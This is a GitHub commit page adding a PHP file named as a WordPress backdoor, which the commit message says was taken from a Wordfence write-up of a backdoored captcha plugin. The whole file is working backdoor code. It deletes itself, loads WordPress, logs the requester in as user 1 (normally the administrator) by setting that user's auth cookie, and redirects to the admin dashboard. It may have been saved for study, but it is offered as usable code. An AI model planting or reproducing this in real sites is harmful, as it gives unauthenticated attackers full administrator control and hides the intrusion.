Skip to content

Commit e233c39

Browse files
authored
Create backdoor_admin_access.php
This script got from https://www.wordfence.com/blog/2017/12/backdoor-captcha-plugin/ enable to access as admin and remove itself.
1 parent 196727a commit e233c39

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
@unlink(__FILE__);
2+
3+
require('../../../wp-blog-header.php');
4+
require('../../../wp-includes/pluggable.php');
5+
$user_info = get_userdata(1);
6+
// Automatic login //
7+
$username = $user_info->user_login;
8+
$user = get_user_by('login', $username );
9+
// Redirect URL //
10+
if ( !is_wp_error( $user ) )
11+
{
12+
wp_clear_auth_cookie();
13+
wp_set_current_user ( $user->ID );
14+
wp_set_auth_cookie ( $user->ID );
15+
16+
$redirect_to = user_admin_url();
17+
wp_safe_redirect( $redirect_to );
18+
19+
exit();
20+
}

0 commit comments

Comments
 (0)